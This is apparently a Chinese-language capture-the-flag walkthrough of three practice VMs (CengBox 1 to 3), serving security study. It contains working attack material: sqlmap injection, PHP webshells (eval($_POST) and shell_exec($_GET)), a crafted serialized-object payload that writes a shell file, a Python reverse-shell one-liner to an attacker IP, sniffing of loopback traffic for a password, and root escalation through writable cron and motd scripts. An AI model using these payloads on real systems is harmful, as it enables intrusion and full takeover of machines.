cengbox1
信息搜集


其他几个没啥,masteradmin提示forbidden,猜想可能是个目录,加上继续扫

sql注入得到管理员密码
一个登录和上传页面,上传页面需要登录才能打开

老规矩抓包弱密码万能密码sql注入一套走,回首一看xray扫到了

那么sqlmap一把梭

登录跳转到上传页面

Getshell
上传文件类型必须是CENG

该后缀访问上传文件,试了下居然直接解析了?(人间疑惑)

查看home目录得知有个cengover用户
masteradmin目录下找到数据库文件,得到数据库用户名密码

尝试连接数据库失败

想到cengover用户会不会用的是登录页面一样的密码,尝试ssh连接

提权
user.txt貌似是一串md5没撞出来
找下特权文件,无果,查看定时任务无果,查看端口监听无果
/var/opt目录下找到md5check.py

通过对比文件md5校验值判断/etc/passwd是否被修改,并将记录写入root下的note和warning文件,那么可以知道这个脚本必定是添加到了定时任务的
并且这个文件是用户可写的

上传pspy查看进程变化,发现确实是自动执行

那么直接修改文件内容反弹shell

完成

Cengbox2
信息搜集
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-01 21:08 EST Nmap scan report for 192.168.93.133 Host is up (0.00039s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 209 May 23 2020 note.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.93.131 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:99:9d:e0:bc:07:3c:4f:53:e5:bc:27:35:80:e4:9e (RSA) | 256 fe:60:a1:10:90:98:8e:b0:82:02:3b:40:bc:df:66:f1 (ECDSA) |_ 256 3a:c3:a0:e7:bd:20:ca:1e:71:d4:3c:12:23:af:6a:c3 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site Maintenance MAC Address: 00:0C:29:F7:F0:CE (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.39 ms 192.168.93.133 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.84 seconds
可以看到ftp用户可以登录,目录下有个note,txt

下载查看

说是部署了面板并且用的是默认密码,可能可以登录,访问web服务

扫目录没啥发现,回头再看看note,第二段说把网站移到了一个新的域名ceng-company.vm,重定向?,修改hosts文件试试

看看有没啥变化
web服务依旧没变,目录也还是啥都没有,但注意到ceng-comany.vm是一级域名,那会不会有子域名呢
用subDomainsBrute跑一跑,也要再修改一下host,但是hosts文件不支持通配符,就只能挨个试了

结果admin提示403,感觉有戏,目录扫一波,还是啥都没有,换个dirbuster的字典,终于扫到个gila

后台getshell
访问是个cms

admin直接跳转到后台,需要管理员邮箱和密码

之前说是用了默认密码,github看看

登录失败,试试加上note.txt的人名Kevin@mail.com,还是失败,偷瞄wp,好吧道行不够
Kevin@ceng-company.vm|admin成功登录

得知版本号是1.10.9,搜下版本有没啥漏洞
有个目录遍历


注意到这里有个上传功能,那么生成木马上传尝试getshell
主目录上传没动静,themes目录上传成功但访问不了,src目录可以访问

但403

猜测是.htaccess做了限制

改下就成,连接shell

提权
home目录下有两个用户

查看sudo权限,swartz用户可以运行runphp.sh

查看内容

那好办,直接运行然后system获取swartz的shell

好吧这个weevely的temainal不行,弹到其他地方试试

继续找突破口,发现能进入mitnick用户家目录,目录下有个user.txt

但是没有权限查看

爆破id_rsa登录ssh
同目录下有ssh

把id_rsa传到本机试着用john破解ssh密码

得到密码legend

利用id_rsa登录,提示文件权限太大

chmod修改文件权限再登录

查看user.txt,一串字符串不知道有啥用

用户组内可写文件提权
查看特权文件无果,学到个新招查看用户组内可写文件,这里也就是developers组内可写文件
xxxxxxxxxxfind / -type f -perm -g+rwx 2>/dev/null

update-motd.d目录下存放的是登录信息文件,在每次ssh登录时自动执行,这里可以看到他们都是root权限,组内用户可写

那么修改一个文件往里面添加一个bash命令即可
这里选择给find命令加上特权,这样下次ssh登录时,find命令就会带有root权限,从而可以本地利用

重新登录

find特权命令提权

嗯。。。但是并没有root权限

挺神奇的是运行大佬wp的命令
xxxxxxxxxxfind . -exec /bin/bash -p \;
又有了root权限

嗯神奇的-p参数,以后得注意下

完成
Cengbox3
信息搜集
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-02 20:52 EST Nmap scan report for 192.168.93.134 Host is up (0.00037s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Agency 443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Agency | ssl-cert: Subject: commonName=ceng-company.vm/organizationName=Ceng Company/stateOrProvinceName=\xC3\x84Istanbul/countryName=TR | Not valid before: 2020-09-24T14:25:07 |_Not valid after: 2021-09-24T14:25:07 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 MAC Address: 00:0C:29:20:D8:B7 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.10 - 4.11 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.37 ms 192.168.93.134 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 33.99 seconds
还是要hosts文件绑定一下ceng-company.vm
访问web服务一套模板但是啥都没有

瞄了眼wp又是绑定了子域名,dev.ceng-company.vm
sql注入后台登录
访问是个登录框

xray扫出注入

抓包sqlmap一把梭

php对象注入getshell
登录后台有个add poem的功能

随便提交一个可以观察到url
xxxxxxxxxxO:4:"Poem":3:{s:8:"poemName";s:3:"aaa";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.txt";s:8:"poemName";s:3:"aaa";}s:9:"poemLines";s:3:"aaa";}
通过字符串里的路径我们知道,生成的文件是存在于网站根目录里的

参数都可控,并且序列化字符串反序列化之后直接写入到了目标文件,那么直接构造即可
xxxxxxxxxxO:4:"Poem":3:{s:8:"poemName";s:3:"aba";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:23:"/var/www/html/shell.php";s:8:"poemName";s:40:"<?php echo('shell is fine');phpinfo();?>";}s:9:"poemLines";s:3:"aba";}


重新传个连接木马连上getshell
xxxxxxxxxxO:4:"Poem":3:{s:8:"poemName";s:3:"ada";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:24:"/var/www/html/shell1.php";s:8:"poemName";s:48:"<?php echo('shell is fine');eval($_POST['a']);?>";}s:9:"poemLines";s:3:"ada";}


监听本地流量获取ssh密码
只有个eric用户

pspy64查看发现定时执行/opt目录下的login.py

查看文件是否可写

啥权限都没,不过发现了另外两个文件

暂时没啥用
看wp又学到了小技巧,之前已经知道login.py会定时执行,那么必定存在登录的过程从而产生登录流量,那么我们可以抓取本地流量从而获取login.py中用来登录的密码
目标主机已经装了tcpdump

在tmp可写目录监听流量保存为文件,等待1-2分钟
xxxxxxxxxxtcpdump -i lo -w login.pcapng
找到密码3ricThompson*Covid19

提权
ssh连接不行,但是可以切换用户,好吧这也不行

补充一个小知识,当我们通过php或者python获取shell时,会话是没有分配一个pty的,因此我们需要创建一个pty
xxxxxxxxxxpython3 -c 'import pty; pty.spawn("/bin/sh")'

那么寻找提权
sudo组免密执行

check.sh和whatsmyip.py都不能修改
但login.py我们是可以修改,并且之前已经了解了是root权限的自动执行

那么直接修改login.py反弹一个shell即可,但这里有点问题,之前获取的shell无法用nano或者vim准确的修改文件,且极易退出shell
因此这里又学到一个小技巧
先利用下列php获取shell
xxxxxxxxxx<?php echo shell_exec($_GET['e'].' 2>&1'); ?>
这样可以直接执行e传入的命令,利用下列payload连接shell
xxxxxxxxxxpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.93.129",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
在shell内输入
xxxxxxxxxxexport TERM=xterm
ctrl+z暂时退出

执行stty -a查看当前终端尺寸,并复制下来备用
xxxxxxxxxxstty rows 40 columns 157

执行
xxxxxxxxxxstty raw -echo;fg
继续连接了刚才的shell

输入reset重置窗口,再输入刚才复制的stty rows 40 columns 157

这样就可以方便的用nano或者vim编辑文件,而且不会习惯性的ctrl+z就会退出shell了
将payload用nano编译保存,等待login.py执行


成功反弹shell并且是root权限

完成